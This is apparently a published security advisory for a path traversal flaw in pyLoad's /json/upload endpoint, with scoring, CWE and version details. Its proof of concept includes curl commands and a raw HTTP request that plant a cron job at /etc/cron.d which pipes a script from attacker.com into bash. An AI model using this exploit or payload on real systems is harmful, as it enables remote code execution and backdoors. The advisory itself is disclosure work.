`pyLoad` has Path Traversal Vulnerability in `json/upload` Endpoint that allows Arbitrary File Write

Description

Summary

An authenticated path traversal vulnerability exists in the /json/upload endpoint of the pyLoad By manipulating the filename of an uploaded file, an attacker can traverse out of the intended upload directory, allowing them to write arbitrary files to any location on the system accessible to the pyLoad process. This may lead to:

  • Remote Code Execution (RCE)
  • Local Privilege Escalation
  • System-wide compromise
  • Persistence and backdoors

Vulnerable Code

File: src/pyload/webui/app/blueprints/json_blueprint.py

@json_blueprint.route("/upload", methods=["POST"])
def upload():
    dir_path = api.get_config_value("general", "storage_folder")
    for file in request.files.getlist("file"):
        file_path = os.path.join(dir_path, "tmp_" + file.filename)  
        file.save(file_path) 

Issue: No sanitization or validation on file.filename, allowing traversal via ../../ sequences.

(Proof of Concept)

  1. Clone and install pyLoad from source (pip install pyload-ng):
git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload
  1. Or install via pip (PyPi) in virtualenv:
python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyload
  1. Login and obtain session token
curl -c cookies.txt -X POST http://127.0.0.1:8000/login \
  -d "username=admin&password=admin"
  1. Create malicious cron payload
echo "*/1 * * * * root curl http://attacker.com/payload.sh | bash" > exploit
  1. Upload file with path traversal filename
curl -b cookies.txt -X POST http://127.0.0.1:8000/json/upload \
  -F "file=@exploit;filename=../../../../etc/cron.d/pyload_backdoor"
  1. On the next cron tick, a reverse shell or payload will be triggered.

BurpSuite HTTP Request

POST /json/upload HTTP/1.1
Host: 127.0.0.1:8000
Cookie: session=SESSION_ID_HERE
Content-Type: multipart/form-data; boundary=------------------------d74496d66958873e

--------------------------d74496d66958873e
Content-Disposition: form-data; name="file"; filename="../../../../etc/cron.d/pyload_backdoor"
Content-Type: application/octet-stream

*/1 * * * * root curl http://attacker.com/payload.sh | bash
--------------------------d74496d66958873e--

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2025-07-21 21:16:06 UTC
Updated
2025-07-23 13:37:10 UTC
GitHub reviewed
2025-07-21 21:16:06 UTC
NVD published
2025-07-22

EPSS Score

Score Percentile
0.58% 69.01%

CVSS Scores

Base score Version Severity Vector
7.5 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:N)
Doesn’t really leak secrets in a meaningful way.
Integrity (I:H)
They could widely tamper with or forge data—trust in the data is badly hurt.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Credits

  • odaysec (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip pyload-ng = 0.5.0b3.dev89 0.5.0b3.dev90

References

cvelogic Threat Intelligence